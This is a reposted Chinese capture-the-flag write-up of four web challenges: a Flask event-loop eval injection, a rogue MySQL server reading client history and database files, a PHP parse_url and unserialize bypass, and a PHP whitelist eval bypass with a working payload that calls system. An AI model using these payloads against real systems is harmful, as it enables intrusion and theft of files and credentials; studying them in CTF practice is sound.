几道web题简单总结

拖了好长时间,总结一下这一段时间做的几道值得记录一下的题目,有的没做出来,但是学习到了新的东西

1.homebrew event loop

  ddctf的一道题目,学到了python eval函数的用法,首先分析题目:

# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'from flask import Flask, session, request, Response
import urllibapp = Flask(__name__)
app.secret_key = '*********************'  # censored
url_prefix = '/d5af31f99147e857'def FLAG():return 'FLAG_is_here_but_i_wont_show_you'  # censoreddef trigger_event(event):session['log'].append(event)if len(session['log']) > 5: session['log'] = session['log'][-5:]if type(event) == type([]):request.event_queue += eventelse:request.event_queue.append(event)def get_mid_str(haystack, prefix, postfix=None):haystack = haystack[haystack.find(prefix) + len(prefix):]if postfix is not None:haystack = haystack[:haystack.find(postfix)]return haystackclass RollBackException: passdef execute_event_loop():valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')resp = Nonewhile len(request.event_queue) > 0:event = request.event_queue[0]  # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"request.event_queue = request.event_queue[1:]if not event.startswith(('action:', 'func:')): continuefor c in event:if c not in valid_event_chars: breakelse:is_action = event[0] == 'a'action = get_mid_str(event, ':', ';')  # indexargs = get_mid_str(event, action + ';').split('#') #True#Truetry:event_handler = eval(action + ('_handler' if is_action else '_function'))ret_val = event_handler(args)except RollBackException:if resp is None: resp = ''resp += 'ERROR! All transactions have been cancelled. <br />'resp += '<a href="./?action:view;index">Go back to index.html</a><br />'session['num_items'] = request.prev_session['num_items']session['points'] = request.prev_session['points']breakexcept Exception, e:if resp is None: resp = ''# resp += str(e) # only for debuggingcontinueif ret_val is not None:if resp is None:resp = ret_valelse:resp += ret_valif resp is None or resp == '': resp = ('404 NOT FOUND', 404)session.modified = Truereturn resp@app.route(url_prefix + '/')
def entry_point():querystring = urllib.unquote(request.query_string)request.event_queue = []if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:querystring = 'action:index;False#False'if 'num_items' not in session:session['num_items'] = 0session['points'] = 3session['log'] = []request.prev_session = dict(session)trigger_event(querystring)return execute_event_loop()# handlers/functions below --------------------------------------def view_handler(args):page = args[0]html = ''html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])if page == 'index':html += '<a href="./?action:index;True%23False">View source code</a><br />'html += '<a href="./?action:view;shop">Go to e-shop</a><br />'html += '<a href="./?action:view;reset">Reset</a><br />'elif page == 'shop':html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'elif page == 'reset':del session['num_items']html += 'Session reset.<br />'html += '<a href="./?action:view;index">Go back to index.html</a><br />'return htmldef index_handler(args):bool_show_source = str(args[0])bool_download_source = str(args[1])if bool_show_source == 'True':source = open('eventLoop.py', 'r')html = ''if bool_download_source != 'True':html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'html += '<a href="./?action:view;index">Go back to index.html</a><br />'for line in source:if bool_download_source != 'True':html += line.replace('&', '&amp;').replace('\t', '&nbsp;' * 4).replace(' ', '&nbsp;').replace('<','&lt;').replace('>', '&gt;').replace('\n', '<br />')else:html += linesource.close()if bool_download_source == 'True':headers = {}headers['Content-Type'] = 'text/plain'headers['Content-Disposition'] = 'attachment; filename=serve.py'return Response(html, headers=headers)else:return htmlelse:trigger_event('action:view;index')def buy_handler(args):num_items = int(args[0])if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])session['num_items'] += num_itemstrigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])def consume_point_function(args):point_to_consume = int(args[0])if session['points'] < point_to_consume: raise RollBackException()session['points'] -= point_to_consumedef show_flag_function(args):flag = args[0]# return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.return 'You naughty boy! ;) <br />'def get_flag_handler(args):if session['num_items'] >= 5:trigger_event('func:show_flag;' + FLAG())  # show_flag_function has been disabled, no worriestrigger_event('action:view;index')if __name__ == '__main__':app.run(debug=False, host='0.0.0.0')

这道题目首先通读源码是必须的,另一个必须要了解到的出题点在eval()函数这个地方,eval中可以传入#来注释掉后面的部分

从上图可以看出来,此时eval会忽略掉#后面的所有字符串,以及要做出这道题的另一个点:

打破程序进行的流程,先加钻石数量再检验钱数,并且可以给事件传入一个列表,那么先加钻石,在检验钱之前去getflag即可,而且这里会把flag带到log中去,总之就是在一个正常的处理序列中去插入一个新的事件,因为eval这里可控,所以刚开始就应该反映到出题点

在这里!

 2.mysql弱口令

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 12/1/2019 2:58 PM
# @Author  : fz
# @Site    : 
# @File    : agent.py
# @Software: PyCharmimport json
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
from subprocess import Popen, PIPEclass RequestHandler(BaseHTTPRequestHandler):def do_GET(self):request_path = self.pathprint("\n----- Request Start ----->\n")print("request_path :", request_path)print("self.headers :", self.headers)print("<----- Request End -----\n")self.send_response(200)self.send_header("Set-Cookie", "foo=bar")self.end_headers()result = self._func()self.wfile.write(json.dumps(result))def do_POST(self):request_path = self.path# print("\n----- Request Start ----->\n")print("request_path : %s", request_path)request_headers = self.headerscontent_length = request_headers.getheaders('content-length')length = int(content_length[0]) if content_length else 0# print("length :", length)print("request_headers : %s" % request_headers)print("content : %s" % self.rfile.read(length))# print("<----- Request End -----\n")
self.send_response(200)self.send_header("Set-Cookie", "foo=bar")self.end_headers()result = self._func()self.wfile.write(json.dumps(result))def _func(self):netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)netstat.wait()ps_list = netstat.stdout.readlines()result = []for item in ps_list[2:]:tmp = item.split()Local_Address = tmp[3]Process_name = tmp[6]tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}result.append(tmp_dic)return resultdo_PUT = do_POSTdo_DELETE = do_GETdef main():port = 8123print('Listening on localhost:%s' % port)server = HTTPServer(('0.0.0.0', port), RequestHandler)server.serve_forever()if __name__ == "__main__":parser = OptionParser()parser.usage = ("Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n""Run:\n\n")(options, args) = parser.parse_args()main()

 这道题主要是来攻击mysql连接的客户端,这个题目给了agent.py 是用来检测是不是服务器上存在mysqld进程,而判断是通过do_get和do_post两个函数确定的,这两个函数都会调用_func函数,返回进程名,然后do_get 和do_post再把_func的返回值输出,

所以只需要让最后输出的存在mysqld就行了,然后就可以在服务器上读取客户端的文件。

这里读取客户端的.mysql_histoty文件,这个文件存储了用户登陆mysql服务器所执行的命令,也可以读取.bash_history

在这里又可以读到web的源码地址,所以可以继续读取它:

在这里能够发现flag所在的库和表,所以就可以读取表中的内容,又因为linux下,mysql安装后,数据库的数据默认存放在/var/lib/mysql目录下,所以可以直接访问其中的库表,所以可以直接读取

/var/lib/mysql/security/flag.ibd

 3.just soso

这道题比较常规

<html>
<?php
error_reporting(0); 
$file = $_GET["file"]; 
$payload = $_GET["payload"];
if(!isset($file)){echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){die('hack attacked!!!');
}
@include($file);
if(isset($payload)){  $url = parse_url($_SERVER['REQUEST_URI']);parse_str($url['query'],$query);foreach($query as $value){if (preg_match("/flag/",$value)) { die('stop hacking!');exit();}}$payload = unserialize($payload);
}else{ echo "Missing parameters"; 
} 
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

这里主要记录一下绕过parse_url,这里会检测flag字符串,但是要是让parse_url

这样就能使parse_url返回false,这样绕过对flag的过滤,然后后面就是常规的反序列化漏洞,这里要记住最后的序列化的数据因为有不可见字符所以需要urlencode一下

 4.math

<?php 
error_reporting(0); 
//听说你很喜欢数学,不知道你是否爱它胜过爱flag 
if(!isset($_GET['c'])){ show_source(__FILE__); 
}else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { die("太长了不会算"); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("请不要输入奇奇怪怪的字符"); } } //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("请不要输入奇奇怪怪的函数"); } } //帮你算出答案 eval('echo '.$content.';'); 
}

 方法一:

这道题主要还是构造没有字母的shell,这里面又提供了进制转换的函数base_convert(),说明可以用0-9a-z 36个字符,那么就可以构造shell,这里主要通过分析一个payload:

$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat flag.php
这里通过构造动态函数,首先base_convert()构造hex2bin,把16进制转换为字符串,再通过“_GET” -> 16进制表示,再到10进制表示,然后反过来dechex()->hex2bin(),然后结合动态函数
比如$a="_GET";$$a{c}(($$a){d}); 这样将实际的payload放在GET参数中,从而来减小长度。
另外一个点是php的数组不仅可以通过[]来进行索引,还可以通过{}来进行索引。
方法2:
另一种构造出_GET的方法是通过异或字符串:
比如要得到_G,则可以通过:

具体怎么得出:可以通过“_G”和两个字符异或:

for($j=0;$j<10;$j = $j+1){for($i=0;$i<10;$i = $i+1){echo $i.$j." ";echo "_G"^($j).($i);echo "\n";
}}

可以得到两位字符串,这里也可以选3位或者4位跑,但是因为得到的字符串需要在白名单里面找,所以太长了找不到,所以选两位最好,一位会增加payload长度,因此is是在白名单里存在的,所以就可以使用,同样的方法去找“ET”,最后
还是去构造动态函数就可以了。
$abs=(is_finite^(6).(4)).(rad2deg^(7).(5));$$abs{acos}($$abs{ceil})

 



 

转载于:https://www.cnblogs.com/wfzWebSecuity/p/10747867.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/277821.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

.NET中RabbitMQ的使用

.NET中RabbitMQ的使用 概述 MQ全称为Message Queue, 消息队列&#xff08;MQ&#xff09;是一种应用程序对应用程序的通信方法。RabbitMQ是一个在AMQP基础上完整的&#xff0c;可复用的企业消息系统。他遵循Mozilla Public License开源协议。AMQP(高级消息队列协议) 是一个异步…

SQL Server死锁诊断--同一行数据在不同索引操作下引起的死锁

死锁概述 对于数据库中出现的死锁&#xff0c;通俗地解释就是&#xff1a;不同Session&#xff08;会话&#xff09;持有一部分资源&#xff0c;并且同时相互排他性地申请对方持有的资源&#xff0c;然后双方都得不到自己想要的资源&#xff0c;从而造成的一种僵持的现象。当然…

python下载安装搭建

python官网下载python运行环境&#xff08;https://www.python.org/downloads/&#xff09;&#xff0c;建议下载稳定版本&#xff0c;不推荐使用最新版本 安装 然后我们打开CMD&#xff0c;在里面输入python&#xff0c;就可以直接进入进行编码了 如果输入python出现下面错误 …

Teams Bot App Manifest 文件解析

这篇文章我们继续以 Hello World Bot 这个 sample 来讲一下 manifest template。 实际上在 Teams app 开发的时候&#xff0c;有 manifest 的概念&#xff0c;manifest 是用来说明这个 teams app 的一些基本信息和配置信息&#xff0c;比如 app 的名字&#xff0c;app有哪些能…

Cordova入门系列(三)Cordova插件调用 转发 https://www.cnblogs.com/lishuxue/p/6018416.html...

Cordova入门系列&#xff08;三&#xff09;Cordova插件调用 版权声明&#xff1a;本文为博主原创文章&#xff0c;转载请注明出处 上一章我们介绍了cordova android项目是如何运行的&#xff0c;这一章我们介绍cordova的核心内容&#xff0c;插件的调用。演示一个例子&#xf…

shell脚本传可选参数 getopts 和 getopt的方法

写了一个shell脚本&#xff0c;需要向shell脚本中传参数供脚本使用&#xff0c;达到的效果是传的参数可以是可选参数 下面是一个常规化的shell脚本&#xff1a; echo "执行的文件名为: $0";echo "第一个参数名为: $1";echo "第二个参数名为: $2"…

Teams Tab App 代码深入浅出 - 配置页面

上一篇文章我们使用Teams Toolkit 来创建、运行 tab app。这篇文章我们深入来分析看一下tab app 的代码。 先打开代码目录&#xff0c;可以看到在 src 目录下有入口文件 index.tsx&#xff0c;然后在 components 目录下有更多的一些 tsx 文件&#xff0c;tsx 是 typescript的一…

labelme标注的json文件数据转成coco数据集格式(可处理目标框和实例分割)

这里主要是搬运一下能找到的 labelme标注的json文件数据转成coco数据集格式&#xff08;可处理目标框和实例分割&#xff09;的代码&#xff0c;以供需要时参考和提供相关帮助。 1、官方labelme实现 如下是labelme官方网址&#xff0c;提供了源代码&#xff0c;以及相关使用方…

EpSON TM-82II驱动在POS系统上面安装问题处理

按照品牌名称&#xff0c;在网上下载的安装包为apstmt82.rar 下面讲解一下&#xff0c;如何的解决爱普生打印机在POS机器上面的安装问题&#xff0c;这个算是一个比较奇特的故障问题&#xff0c;不像其它的新北冰洋&#xff08;SN3C&#xff09;的U80_U80II&#xff0c;SeNor的…

打印图片的属性和实现另存图片功能以及使用numpy

上一篇我们已经学了如何读取图片的功能了以及和opencv的环境搭建了&#xff0c;今天接着来学习&#xff0c;哈哈哈&#xff0c;今天刚好五一&#xff0c;也没闲着&#xff0c;继续学习。 1、 首先我们来实现打印出图片的一些属性功能&#xff0c; 先来看一段代码&#xff1a; 1…

Ubuntu 18.04下命令安装VMware Tools

2019独角兽企业重金招聘Python工程师标准>>> sudo apt-get upgrade sudo apt-get install open-vm-tools-desktop -y sudo reboot 转载于:https://my.oschina.net/u/574036/blog/1829455

Qfile

打开方式&#xff1a; 1 void AddStudents::write_to_file(QString src){2 QFile file("stu.txt");3 if (!file.open(QIODevice::Append | QIODevice::Text)){4 QMessageBox::critical(this,"打开文件错误","确认");5 r…

IDEA svn 菜单不见了,解决方法

2019独角兽企业重金招聘Python工程师标准>>> 参考地址: http://www.cnblogs.com/signheart/p/193448a98f92bd0cc064dbd772dd9f48.html,我是第二种方法解决的! 转载于:https://my.oschina.net/liuchangng/blog/1829679

苏宁易购:Hadoop失宠前提是出现更强替代品

在笔者持续调研国内Hadoop生态系统生存现状的同时&#xff0c;KDnuggets发布的2018年数据科学和机器学习工具调查报告再次将“Hadoop失宠”言论复活。报告一出&#xff0c;“Hadoop被抛弃”几个字瞬时成为各大标题党的最爱&#xff0c;充斥在不同的新闻平台。这些报告和数据是否…

VS2017生成一个简单的DLL文件 和 LIB文件——C语言

下面我们将用两种不同的姿势来用VS2017生成dll文件&#xff08;动态库文件&#xff09;和lib文件&#xff08;静态库文件&#xff09;&#xff0c;这里以C语言为例&#xff0c;用最简单的例子&#xff0c;来让读者了解如何生成dll文件&#xff08;动态库文件&#xff09; 生成动…

Hive数据类型及文本文件数据编码

本文参考Apache官网&#xff0c;更多内容请参考&#xff1a;https://cwiki.apache.org/confluence/display/Hive/LanguageManualTypes 1. 数值型 类型支持范围TINYINT1-byte signed integer, from -128 to 127SMALLINT2-byte signed integer, from -32,768 to 32,767INT/INTEGE…

Python绘图Turtle库详解

转载&#xff1a;https://blog.csdn.net/zengxiantao1994/article/details/76588580 Turtle库是Python语言中一个很流行的绘制图像的函数库&#xff0c;想象一个小乌龟&#xff0c;在一个横轴为x、纵轴为y的坐标系原点&#xff0c;(0,0)位置开始&#xff0c;它根据一组函数指令…

mac使用brew update无反应解决办法

为什么80%的码农都做不了架构师&#xff1f;>>> mac系统中使用brew作为包管理工具&#xff0c;类似centos中的yum&#xff0c;ubuntu中的apt-get&#xff0c;在使用brew update的使用&#xff0c;有时候会长时间无反应&#xff0c;或者中途断开连接&#xff0c;这是…

2018-2019-2 20175223 实验三《敏捷开发与XP实践》实验报告

目录 北京电子科技学院&#xff08;BESTI&#xff09;实验报告实验名称&#xff1a;实验三 敏捷开发与XP实践实验内容、步骤与体会&#xff1a;一、实验三 敏捷开发与XP实践-1二、实验三 敏捷开发与XP实践-2三、实验三 敏捷开发与XP实践-3四、实验三 敏捷开发与XP实践-4五、代码…

(八)路径(面包屑导航)分页标签和徽章组件

一&#xff0e;路径组件 路径组件也叫做面包屑导航。 <ol class"breadcrumb"><li><a href"#">首页</a></li><li><a href"#">产品列表</a></li><li><a href"#">大…